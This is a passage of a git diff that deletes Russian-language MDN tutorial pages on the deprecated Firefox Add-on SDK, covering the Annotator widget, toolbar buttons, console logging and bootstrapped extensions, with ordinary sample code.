-<p>Внутри папки <code>data</code> создайте папку с именем <code>widget</code>. В этой папке мы будем хранить файлы Виджета. (Вам не обязательно создавать отдельную папку, можете просто хранить файлы Виджета в папке <code>data</code>. Но в нашем случае, расширение будет хорошо структурировано.)</p>
-<h2 id="Контент-скрипт_Виджета">Контент-скрипт Виджета</h2>
-<p>Контент-скрипт Виджета просто следит за нажатиями левой и правой кнопок мыши и отправляет соответствующее сообщение коду расширения:</p>
-<pre class="brush: js">this.addEventListener('click', function(event) {
- if(event.button == 0 &amp;&amp; event.shiftKey == false)
- self.port.emit('left-click');
-
- if(event.button == 2 || (event.button == 0 &amp;&amp; event.shiftKey == true))
- self.port.emit('right-click');
- event.preventDefault();
-}, true);</pre>
-<p>Сохраните этот файл в папку <code>data/widget</code> под названием <code>widget.js</code>.</p>
-<h2 id="Иконки_Виджета">Иконки Виджета</h2>
-<p>Вы можете скопировать эти иконки:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/6673/pencil-off.png"><img alt="" src="https://mdn.mozillademos.org/files/6675/pencil-on.png" style="width: 32px; height: 32px;"></p>
-<p>(Вы также можете создать свои собственные иконки, если чуствуете, что вас поситила муза.) Сохраните их в папку <code>data/widget</code>.</p>
-<h2 id="main.js">main.js</h2>
-<p>Теперь, в папке <code>lib</code> откройте <code>main.js</code> и добавьте следующий код:</p>
-<pre class="brush: js">var widgets = require('sdk/widget');
-var data = require('sdk/self').data;
-
-var annotatorIsOn = false;
-
-function toggleActivation() {
- annotatorIsOn = !annotatorIsOn;
- return annotatorIsOn;
-}
-
-exports.main = function() {
-
- var widget = widgets.Widget({
- id: 'toggle-switch',
- label: 'Annotator',
- contentURL: data.url('widget/pencil-off.png'),
- contentScriptWhen: 'ready',
- contentScriptFile: data.url('widget/widget.js')
- });
-
- widget.port.on('left-click', function() {
- console.log('activate/deactivate');
- widget.contentURL = toggleActivation() ?
- data.url('widget/pencil-on.png') :
- data.url('widget/pencil-off.png');
- });
-
- widget.port.on('right-click', function() {
- console.log('show annotation list');
- });
-}</pre>
-<p>Аннотатор по-умолчанию отключен. Этот скрипт создает Виджет и реагирует на сообщения контент-скрипта, путем переключения состояния Виджета. Внимание: согласно багу<span class="aside"> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=626326">bug 626326</a>, контекстное меню панели дополнений будет отображаться вне зависимости от вызова <code>event.preventDefault()</code> в контент-скрипте Виджета.</span> Так как мы пока не имеем кода для отображения заметок, мы просто выведем в консоль событие нажатия правой кнопки.</p>
-<p>Теперь, перейдя в папку <code>annotator</code> выполните команду <code>cfx run</code>. Вы должны увидеть Виджет в панели дополнений:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/6679/widget-icon.png" style="width: 405px; height: 166px; display: block; margin-left: auto; margin-right: auto;"></p>
-<p>Левый и правый клики должы выводить соответсвующие сообщения в консоль, и левый клик также должен менять иконку для отображения состояния активности Виджета.</p>
-<p> </p>
-<p>Далее мы добавим реализацию функции <a href="/en-US/Add-ons/SDK/Tutorials/Annotator/Creating_annotations">создания аннотаций</a>.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/index.html
deleted file mode 100644
index eab37823c0..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/index.html
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Комментатор
-slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор
-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator
----
-<p>{{AddonSidebar}}</p>
-
-<div class="warning">
-<p>Запрещено в Firefox 29 и удалено в Firefox 38.</p>
-
-<p>Предупреждение: это руководство пологается на впоследствии удалённый Widget API и больше не работает с Firefox.</p>
-
-<p>The widget API is deprecated from Firefox 29 onwards. Please see the <a href="/en-US/Add-ons/SDK/High-Level_APIs/ui">ui module</a> for replacements. In particular, for a simple button, try the <a href="/en-US/Add-ons/SDK/High-Level_APIs/ui#ActionButton">action button</a> or <a href="/en-US/Add-ons/SDK/High-Level_APIs/ui#ToggleButton">toggle button</a> APIs, and for a more complex widget try the <a href="/en-US/Add-ons/SDK/High-Level_APIs/ui#Toolbar">toolbar</a> or <a href="/en-US/Add-ons/SDK/High-Level_APIs/ui#Sidebar">sidebar</a> APIs.</p>
-</div>
-
-<p>В этом уроке мы создадим расширение, которое использует множество различных компонентов <a href="/en-US/Add-ons/SDK/High-Level_APIs">высокоуровнего API</a>.</p>
-
-<p>Это расширение (Аннотатор) позволит пользователю выделять элементы веб-страниц и добавлять к ним заметки (аннотации). Аннотатор будет сохранять заметки, добавленные пользователем. Когда пользователь посещает веб-страницу, содержащую элементы с прикрепленными к ним заметками - эти элементы подсвечиваются. Если пользователь наведет курсор на такой элемент страницы, то будет отображена заметка, ассоциированная с этим элементом.</p>
-
-<p>Далее мы кратко рассмотрим архитектуру Аннотатора и поэтапно пройдемся по реализации разных частей расширения.</p>
-
-<p>Завершенное расширение вы можете найти в <a href="https://github.com/mozilla/addon-sdk/tree/master/examples/annotator">папке <code>examples</code> из SDK</a>.</p>
-
-<ul>
- <li><a href="/ru/docs/Mozilla/Add-ons/SDK/Tutorials/%D0%90%D0%BD%D0%BD%D0%BE%D1%82%D0%B0%D1%82%D0%BE%D1%80/Overview">Краткий обзор архитектуры</a><br>
-  </li>
- <li><a href="/ru/docs/Mozilla/Add-ons/SDK/Tutorials/%D0%90%D0%BD%D0%BD%D0%BE%D1%82%D0%B0%D1%82%D0%BE%D1%80/Implementing_the_widget">Реализация Виджета</a><br>
-  </li>
- <li><a href="/ru/docs/Mozilla/Add-ons/SDK/Tutorials/%D0%90%D0%BD%D0%BD%D0%BE%D1%82%D0%B0%D1%82%D0%BE%D1%80/Creating_annotations">Добавление заметок</a><br>
-  </li>
- <li><a href="/en-US/Add-ons/SDK/Tutorials/Annotator/Storing_annotations">Хранение заметок</a><br>
-  </li>
- <li><a href="/en-US/Add-ons/SDK/Tutorials/Annotator/Displaying_annotations">Отображение заметок</a></li>
-</ul>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/overview/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/overview/index.html
deleted file mode 100644
index 08e4713b33..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/аннотатор/overview/index.html
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Краткий обзор
-slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор/Overview
-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator/Overview
----
-<p>Аннотатор использует контент-скрипты для реализации пользовательских интерфейсов, получения ввода, и для работы со страницами, посещаемыми пользователем.</p>
-<p>Модуль <code>main</code> содержит логику приложения и производит операции между различными объектами SDK.</p>
-<p>Операции между модулем <code>main</code> и различными контент-скриптами можно изобразить следующим образом:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/6671/annotator-design.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-<h2 id="Пользовательский_интерфейс">Пользовательский интерфейс</h2>
-<p>Основной пользовательский интерфейс состоит из Виджета и трех панелей:</p>
-<ul>
- <li>Виджет (<code><a href="/en-US/Add-ons/SDK/High-Level_APIs/widget">widget</a></code>) используется для активации Аннотатора и для отображения списка всех сохраненных заметок;</li>
- <li>Панель (<code><a href="/en-US/Add-ons/SDK/High-Level_APIs/panel">panel</a></code>) <strong>annotation-editor</strong> позволит пользователю добавить новую заметку;</li>
- <li>Панель <strong>annotation-list</strong> будет отображать список всех сохраненных заметок;</li>
- <li>Панель <strong>annotation</strong> будет отображать одну заметку.</li>
-</ul>
-<p>В дополнении, мы будем использовать модуль Оповещений (<a href="/en-US/Add-ons/SDK/High-Level_APIs/notifications"><code>notifications</code></a>), чтобы сообщать пользователю, когда в хранилище закончилось свободное место.</p>
-<h2 id="Работаем_с_DOM">Работаем с DOM</h2>
-<p>Мы будем использовать два объекта <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod"><code>page-mods</code></a> для произведения операций над DOM веб-страниц, которые посещает пользователь:</p>
-<ul>
- <li>
- <p>Объект <strong>selector</strong> позволит пользователю выбрать элемент для добавления заметки к нему. Он идентифицирует элементы страницы, которые подходят для заметок, подсвечивает их при наведении курсора мыши и сообщает основному коду расширения когда пользователь кликает по подсвеченному элементу;</p>
- </li>
- <li>
- <p>Объект <strong>matcher</strong> отвечает за поиск элементов с заметками: он инициализируется со списком заметок и осуществляет поиск веб-сраниц с элементами, ассоциированными с этими заметками. Он также подсвечивает все элементы, ассоциированные с заметками. Когда пользователь наводит курсор мыши на элемент с заметкой, matcher сообщает основному коду расширения, который, в свою очередь, отображает панель с одной заметкой.</p>
- </li>
-</ul>
-<h2 id="Обработка_данных">Обработка данных</h2>
-<p>Мы будем использовать модуль <a href="/en-US/Add-ons/SDK/High-Level_APIs/simple-storage"><code>simple-storage</code></a> для хранения заметок.</p>
-<p>Поскольку мы сохраняем потенциально секретную информацию, мы хотим оградить пользователя от создания заметок в приватном режиме браузера. Простейший способ решения этой проблемы, это удаление ключа <a href="/en-US/Add-ons/SDK/Tools/package_json#permissions"><code>"private-browsing"</code></a> из файла "package.json" расширения. Если мы удалим этот ключ, то расширение не получит доступ к окнам в режиме приватного просмотра и Виджет Аннотатора не будет отображаться в приватных окнах.</p>
-<h2 id="Приступаем_к_работе">Приступаем к работе</h2>
-<p>Давайте начнем с создания папки, с именем "annotator". Перейдите в эту папку и введите <code>cfx init</code>.</p>
-<p>Далее мы <a href="/en-US/Add-ons/SDK/Tutorials/Annotator/Implementing_the_widget">разработаем Виджет</a>.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/добавление_кнопки_на_панель_инструментов/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/добавление_кнопки_на_панель_инструментов/index.html
deleted file mode 100644
index 7b6e8bf507..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/добавление_кнопки_на_панель_инструментов/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Добавление кнопки на панель инструментов
-slug: Mozilla/Add-ons/SDK/Tutorials/Добавление_кнопки_на_панель_инструментов
-tags:
- - Add-on SDK
- - Дополнение
-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Adding_a_Button_to_the_Toolbar
----
-<div class="blockIndicator warning">
-<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
-</div>
-
-<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
-
-<div class="note">
-<p><span>Для понимания этого руководства необходимо изучить статью <a href="/en-US/docs/Mozilla/Add-ons/SDK/Tutorials/Getting_Started_%28jpm%29">basics of <code>jpm (основы jpm)</code></a>. </span></p>
-</div>
-
-<p>Для добавления кнопки на панель инструментов (toolbar, тулбар) используются модули <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a> или <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle">toggle button</a>.</p>
-
-<p>Создайте новую папку, перейдите в неё и запустите <code>jpm init</code>, приняв всё по умолчанию.</p>
-
-<p>Создайте папку <strong>"data"</strong></p>
-
-<pre>mkdir data</pre>
-
-<p>и сохраните три файла иконок в этой папке:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/7635/icon-16.png" style="height: 16px; width: 16px;"></td>
- <td>icon-16.png</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/7637/icon-32.png" style="height: 32px; width: 32px;"></td>
- <td>icon-32.png</td>
- </tr>
- <tr>
- <td><img alt="" src="https://mdn.mozillademos.org/files/7639/icon-64.png" style="height: 64px; width: 64px;"></td>
- <td>icon-64.png</td>
- </tr>
- </tbody>
-</table>
-
-<p>После, откройте файл "index.js", расположенный в корне каталога дополнения, и допишите этот код:</p>
-
-<pre class="brush: js">var buttons = require('sdk/ui/button/action');
-var tabs = require("sdk/tabs");
-
-var button = buttons.ActionButton({
-  id: "mozilla-link",
-  label: "Visit Mozilla",
-  icon: {
-    "16": "./icon-16.png",
-    "32": "./icon-32.png",
-    "64": "./icon-64.png"
-  },
-  onClick: handleClick
-});
-
-function handleClick(state) {
-  tabs.open("https://www.mozilla.org/");
-}</pre>
-
-<p>Запустите дополнение через <code>jpm run</code>. Кнопка будет добавлена на тулбар (ищите сверху в окне браузера):</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7641/mozilla-button.png" style="display: block; height: 221px; margin-left: auto; margin-right: auto; width: 382px;">Вы не сможете установить место первоначального появления кнопки, но пользователь сможет её переместить, используя настройки браузера. Атрибут <code>id</code> является обязательным. Он используется, в частности, для запоминания позиции кнопки на панели, поэтому в следующих версиях своего дополнения вы его не сможете изменить.</p>
-
-<p>Нажатие кнопки откроет в новой вкладке сайт <a href="https://www.mozilla.org/en-US/">https://www.mozilla.org/</a> .</p>
-
-<h2 id="Задание_иконки">Задание иконки</h2>
-
-<p>Свойство icon может содержать одну иконку или набор (различных размеров, как в примере выше). Если указать набор иконок разных размеров, то браузер будет автоматически выбирать размер в зависимости от разрешения экрана и расположения на экране. <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action#ActionButton(options)">Более подробная информация о иконках</a>.</p>
-
-<p>Файл с иконкой должен быть внутри дополнения. Недопустимы ссылки на внешние фалы.</p>
-
-<p>Вы можете изменить иконку в любое время через установку свойства <code>icon</code> кнопки. Также можно изменить иконку и другие свойства состояния глобально для окна брайзера или только для вкладки. <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action#Updating_state">Узнать об этом можно в статье</a>.</p>
-
-<h2 id="Привязка_панели">Привязка панели</h2>
-
-<p>Если необходимо привязать к кнопке панель, то используйте <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle">toggle button</a> API. Этот API такой же как action button API, кроме того, что добавлено булево свтйство <code>checked, </code>которое переключается, когда нажимается конпка.  Для связи в панелью нужнопередать кнопку в функцию <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/panel#show(options)"><code>show()</code></a> панели. Для уточнения деталей, изучите документацию <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle#Attaching_panels_to_buttons">toggle button's documentation</a>.</p>
-
-<h2 id="Вывод_сложного_контента">Вывод сложного контента</h2>
-
-<p>Для созлания более сложного пользовательского интерфейса, чем доступен через кнопку, используйте <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_toolbar">toolbar</a> API. С этим API вы получите доступ к полным гризонтальным полосам тулбара. Можно добавлять кнопки на панель, и фреймы (<a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_frame">frames</a>), которые могут содержать HTML, CSS и JavaScript.</p>
-
-<h2 id="Материал_для_изучения">Материал для изучения</h2>
-
-<ul>
- <li><a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button reference</a></li>
- <li><a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle">toggle button reference</a></li>
- <li><a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_toolbar">toolbar reference</a></li>
-</ul>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/протоколирование/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/протоколирование/index.html
deleted file mode 100644
index d0ab8d6f79..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/протоколирование/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Протоколирование (Логирование)
-slug: Mozilla/Add-ons/SDK/Tutorials/Протоколирование
-tags:
- - Логирование
- - Протоколирование
-translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Logging
----
-<div class="blockIndicator warning">
-<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
-</div>
-
-<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
-
-<div class="note"><span>Перед использованием, вам нужно изучить <a href="/en-US/docs/Mozilla/Add-ons/SDK/Tutorials/Getting_Started_%28jpm%29">основы <code>jpm</code></a>. </span></div>
-
-<p><a href="https://developer.mozilla.org/en/DOM/console">Консоль для DOM-объекта</a> полезна для отладки JavaScript. Так как DOM-объекты недоступны для главного кода дополнения (add-on), то SDK предоставляет свой собственный глобальный <code>объект</code> <code>"консоль" (console)</code> с большинством таких же методов, как и у DOM-<code>консоли</code>, включая методы для протоколирвоания ошибок (error), предупреждений (warning) или информационных сообщений. Для доступа к консоли не нужно получать что-либо, используя <code>require()</code>. Она уже доступна автоматически.</p>
-
-<p>Метод <code>console.log()</code> выводит информационное сообщение:</p>
-
-<pre class="brush: js">console.log("Hello World");
-</pre>
-
-<p>Попробуйте:</p>
-
-<ul>
- <li>создайте новую папку и перейдите в неё</li>
- <li>выполните jpm init со значениями по умолчанию</li>
- <li>откройте "index.js" и добавьте строку, указанную в примере выше</li>
- <li>выполните <code>jpm run</code></li>
-</ul>
-
-<p>Firefox запустится, и в терминале, где вы ввели <code>jpm run</code>, появится следующая строка:</p>
-
-<pre>info: Hello World!
-</pre>
-
-<h2 id="Консоль_в_скриптах_Content_Scripts"><code>Консоль</code> в скриптах <code>Content Scripts</code></h2>
-
-<p>Вы можете использовать консоль в скриптах <code><a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">content scripts</a></code> так же, как и вашем главном коде дополнения. Следующий аддон (add-on) выведет в лог HTML-содержимое каждой закладки, загруженной пользователем, используя <code>console.log()</code> изнутри скрипта <code>content script</code>:</p>
-
-<pre class="brush: js">require("sdk/tabs").on("ready", function(tab) {
- tab.attach({
- contentScript: "console.log(document.body.innerHTML);"
- });
-});
-</pre>
-
-<h2 id="Консоль_Output">Консоль Output</h2>
-
-<p>Если вы запускаете дополнение из терминала (например, выполня <code>jpm run</code> или <code>jpm test</code>), тогда сообщения консоли появятся в этом же терминале.</p>
-
-<p>Если вы установили расширение в Firefox тогде сообщения появятся в <a href="/en-US/docs/Tools/Browser_Console">консоли браузера</a> Firefox.</p>
-
-<p>Но обратите внимание, что <strong>по умолчанию вызовы <code>console.log()</code> не отобразят ничего в Error Console для любых установленных дополнений</strong>. Это правило работает и для дополнений, установленных с использованием Add-on Builder, и для установленных с помощью утилит, таких как <a href="https://addons.mozilla.org/en-US/firefox/addon/autoinstaller/">Extension Auto-installer</a>.</p>
-
-<p>Смотрите <a href="/en-US/Add-ons/SDK/Tools/console#Logging_Levels">"Уровни логирования"</a> в справочной документации для более подробной информации.</p>
-
-<h2 id="Дальнейшее_изучение">Дальнейшее изучение</h2>
-
-<p>Полное <code>API консоли</code> смотри в <a href="/en-US/Add-ons/SDK/Tools/console">API-справочнике</a>.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/проба/index.html b/files/ru/mozilla/add-ons/sdk/проба/index.html
deleted file mode 100644
index 987a420410..0000000000
--- a/files/ru/mozilla/add-ons/sdk/проба/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Builder
-slug: Mozilla/Add-ons/SDK/проба
-translation_of: Archive/Add-ons/Add-on_SDK/Builder
----
-<p>The Add-on Builder was a web-based development environment that allowed developers to create add-ons using the SDK APIs, but without needing to use the <code>cfx</code> command line tool. It was retired on April 1, 2014, and the "builder.addons.mozilla.org" domain now redirects to this page.<br>
- <br>
- If you have only used the SDK through the Builder, you already know most of what you need to know to develop using just the SDK. The <a href="/en-US/Add-ons/SDK/High-Level_APIs">high-level</a> and <a href="/en-US/Add-ons/SDK/Low-Level_APIs">low-level</a> APIs used for Builder add-ons are exactly the same for Builder and SDK. To switch to the SDK:</p>
-
-<ul>
- <li><a href="/en-US/Add-ons/SDK/Tutorials/Installation">install the SDK locally</a></li>
- <li>get to know the cfx command line tool, with this <a href="/en-US/Add-ons/SDK/Tutorials/Getting_started">introductory walkthrough</a> and the <a href="/en-US/Add-ons/SDK/Tools/cfx">detailed <code>cfx</code> reference</a></li>
- <li>get to know the <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a> file used to configure attributes of your add-on</li>
-</ul>
diff --git a/files/ru/mozilla/add-ons/загрузочные_расширения/index.html b/files/ru/mozilla/add-ons/загрузочные_расширения/index.html
deleted file mode 100644
index 934e40e904..0000000000
--- a/files/ru/mozilla/add-ons/загрузочные_расширения/index.html
+++ /dev/null
@@ -1,353 +0,0 @@
----
-title: Загружаемые расширения
-slug: Mozilla/Add-ons/загрузочные_расширения
-tags:
- - Bootstrapped
- - Extensions
- - add-on
- - Дополнения
-translation_of: Archive/Add-ons/Bootstrapped_extensions
----
-<div class="blockIndicator warning">
-<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
-</div>
-
-<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
-
-<p>{{ gecko_minversion_header("2.0") }}</p>
-
-<p>К традиционным расширениям относятся оверлеи (<strong>overlays</strong>), в их случае приложение может загрузить XUL из пакета расширения и автоматически применить их на верхнем слое своего UI (интерфейса пользователя). При этом создаются расширения, которые добавляются в пользовательский интерфейс относительно легко, но в этом случае обновление, установка или отмена действия расширения требуют перезагрузку приложения.</p>
-
-<p>Движок Gecko 2.0 {{ geckoRelease("2.0") }} вводит <strong>загружаемые расширения</strong> (<strong>bootstrapped extensions</strong>). Это специальные расширения, которые вместо использования наложения на интерфейс, сами програмно добавляют себя в приложение. Это делается запуском специального скрипта из файла, который включен в расширение и содержит функции, вызываемые браузером, для того чтобы установить, удалить, загрузить, выгрузить.</p>
-
-<p>Приложение делает вызовы из из этого файла со скриптом; расширение ответственно за добавление и удаление своего интерфейса пользователя и обработку любых других установок и завершения задач, которые требовались в процессе работы.</p>
-
-<p>Эта статья поясняет как работают загружаемые расширения. Изучите следующее <a href="/en-US/Add-ons/How_to_convert_an_overlay_extension_to_restartless">руководство по преобразованию приложений-оверлеев (overlay) в приложения, не требующие перезагрузки (restartless, то есть bootstrapped)</a>, для получения пошагового руководства по переходу.</p>
-
-<h2 id="The_startup_and_shutdown_process">The startup and shutdown process</h2>
-
-<p>A key feature of bootstrapped extensions is that they must be able to start up and shut down on demand by the application. When the extension's <code>startup()</code> function is called, it must manually inject its user interface and other behavior into the application. Similarly, when its <code>shutdown()</code> function is called, it must remove anything that it has added to the application, as well as all references to any of its objects.</p>
-
-<p>There are several scenarios in which the <code>startup()</code> function may be called; for example:</p>
-
-<ul>
- <li>When the extension is first installed, assuming that it's both compatible with the application and is enabled.</li>
- <li>When the extension becomes enabled using the add-ons manager window.</li>
- <li>When the application is started up, if the extension is enabled and compatible with the application.</li>
-</ul>
-
-<p>Some examples of when the <code>shutdown()</code> function may be called:</p>
-
-<ul>
- <li>When the extension is uninstalled, if it's currently enabled.</li>
- <li>When the extension becomes disabled.</li>
- <li>When the user quits the application, if the extension is enabled.</li>
-</ul>
-
-<h2 id="Notes_on_modifying_the_application_user_interface">Notes on modifying the application user interface</h2>
-
-<h3 id="chrome.manifest_in_bootstrapped_add-ons">chrome.manifest in bootstrapped add-ons</h3>
-
-<p>You can use a <a href="/en-US/docs/Chrome_Registration"><code>chrome.manifest</code></a> file in bootstrapped add-ons to:</p>
-
-<ul>
- <li>Make your add-on's content available via a <code>chrome://</code> URL (using the <code>content</code>, <code>locale</code>, and <code>skin</code> instructions in the manifest).</li>
- <li>Replace existing <code>chrome://</code> URIs with your content (using the <code>override</code> instruction).</li>
-</ul>
-
-<p>Not all <code>chrome.manifest</code> instructions are supported in bootstrapped add-ons, for example you still cannot register <a href="/en-US/docs/XUL_Overlays">XUL Overlays</a> from a bootstrapped add-on. See the <a href="/en-US/docs/Chrome_Registration"><code>chrome.manifest</code></a> documentation for details.</p>
-
-<p>In Firefox 10 and later the <code>chrome.manifest</code> file located in the root of the add-on's XPI (i.e. a sibling of the <code>install.rdf</code>) is loaded automatically. In Firefox 8 and 9 you had to load/unload the manifest manually using {{ ifmethod("nsIComponentManager", "addBootstrappedManifestLocation") }} and {{ ifmethod("nsIComponentManager", "removeBootstrappedManifestLocation") }}. This feature was unavailable in Firefox versions before 8.</p>
-
-<h3 id="Adding_user_interface_manually">Adding user interface manually</h3>
-
-<p>If you decide to go ahead and try to develop a bootstrapped extension that modifies the application's user interface, here are a few suggestions to get you started.</p>
-
-<p>You need to look up the relevant application UI elements by their ID by calling {{ domxref("document.getElementById()") }}, then manipulate them to inject your UI. For example, you can get access to the menu bar in Firefox with <code>document.getElementById("main-menubar")</code>.</p>
-
-<p>Be sure that at shutdown time, you remove any user interface you've added.</p>
-
-<h2 id="Creating_a_bootstrapped_extension">Creating a bootstrapped extension</h2>
-
-<p>To mark an extension as bootstrappable, you need to add the following element to its <a href="/en-US/docs/Install_Manifests">install manifest</a>:</p>
-
-<pre><code>&lt;em:bootstrap&gt;true&lt;/em:bootstrap&gt;</code></pre>
-
-<p>Then you need to add a <a href="/en-US/docs/Extensions/bootstrap.js"><code><strong>bootstrap.js</strong></code> file</a> that contains the required functions; this should be alongside the <a href="/en-US/docs/Install_Manifests"><code>install.rdf</code> file</a> in the extension's package.</p>
-
-<h3 id="Backward_compatibility">Backward compatibility</h3>
-
-<p>Because older versions of Firefox don't know about the <code>bootstrap</code> property or <code>bootstrap.js</code> file, it's not overly difficult to create an XPI that will work on both as a bootstrappable extension and as a traditional extension. Create your extension as a bootstrappable extension, then add the traditional overlays as well. Newer versions of Firefox will use the <code>bootstrap.js</code> script, ignoring the components and overlays, while older versions will use the overlays.</p>
-
-<h2 id="Bootstrap_entry_points">Bootstrap entry points</h2>
-
-<p>The <code>bootstrap.js</code> script should contain several specific functions, which are called by the browser to manage the extension. The script gets executed in a privileged sandbox, which is cached until the extension is shut down.</p>
-
-<h3 id="startup">startup</h3>
-
-<p>Called when the extension needs to start itself up. This happens at application launch time, when the extension is enabled after being disabled or after it has been shut down in order to install an update. As such, this can be called many times during the lifetime of the application.</p>
-
-<p>This is when your add-on should inject its UI, start up any tasks it may need running and so forth.</p>
-
-<pre>void startup(
- data,
- reason
-);
-</pre>
-
-<h6 id="Parameters">Parameters</h6>
-
-<dl>
- <dt><code>data</code></dt>
- <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
- <dt><code>reason</code></dt>
- <dd>One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being started up. This will be one of <code>APP_STARTUP</code>, <code>ADDON_ENABLE</code>, <code>ADDON_INSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
-</dl>
-
-<h3 id="shutdown">shutdown</h3>
-
-<p>Called when the extension needs to shut itself down, such as when the application is quitting or when the extension is about to be upgraded or disabled. Any user interface that has been injected must be removed, tasks shut down, and objects disposed of.</p>
-
-<pre>void shutdown(
- data,
- reason
-);
-</pre>
-
-<h6 id="Parameters_2">Parameters</h6>
-
-<dl>
- <dt><code>data</code></dt>
- <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
- <dt><code>reason</code></dt>
- <dd>One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being shut down. This will be one of <code>APP_SHUTDOWN</code>, <code>ADDON_DISABLE</code>, <code>ADDON_UNINSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
-</dl>
-
-<h3 id="install">install</h3>
-
-<p>Your bootstrap script must include an <code>install()</code> function, which the application calls before the first call to <code>startup()</code> after the extension is installed, upgraded, or downgraded.</p>
-
-<pre>void install(
- data,
- reason
-);
-</pre>
-
-<h6 id="Parameters_3">Parameters</h6>
-
-<dl>
- <dt><code>data</code></dt>
- <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
- <dt><code>reason</code></dt>
- <dd>One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being installed. This will be one of <code>ADDON_INSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
-</dl>
-
-<h3 id="uninstall">uninstall</h3>
-
-<p>This function is called after the last call to <code>shutdown()</code> before a particular version of an extension is uninstalled.</p>
-
-<div class="note"><strong>Note:</strong> If you open the add-on manager and then click "Remove" on an add-on, it will not call uninstall function right away. This is a soft uninstall because of the available "Undo" option. If the add-on manager is closed or another event takes place such that the "Undo" option becomes unavailable, then the hard uninstall takes place and the uninstall function is called.</div>
-
-<div class="note"><strong>Note:</strong> The uninstall function fires on downgrade and upgrade as well so you should make sure it is an uninstall by doing this:<br>
-<code>function uninstall(aData, aReason) {</code><br>
-<code>if (aReason == ADDON_UNINSTALL) {</code><br>
-<code>console.log('really uninstalling');</code><br>
-<code>} else {</code><br>
-<code>console.log('not a permanent uninstall, likely an upgrade or downgrade');</code><br>
-<code>}</code><br>
-<code>}</code></div>
-
-<pre>void uninstall(
- data,
- reason
-);
-</pre>
-
-<h6 id="Parameters_4">Parameters</h6>
-
-<dl>
- <dt><code>data</code></dt>
- <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
- <dt><code>reason</code></dt>
- <dd>One of the <a href="#Reason_constants">reason constants</a>, indicating why the extension is being uninstalled. This will be one of <code>ADDON_UNINSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>.</dd>
-</dl>
-
-<h2 id="Reason_constants">Reason constants</h2>
-
-<p>The bootstrap functions accept a <code>reason</code> parameter, which explains to the extension why it's being called. The reason constants are:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Constant</td>
- <td class="header">Value</td>
- <td class="header">Description</td>
- </tr>
- <tr>
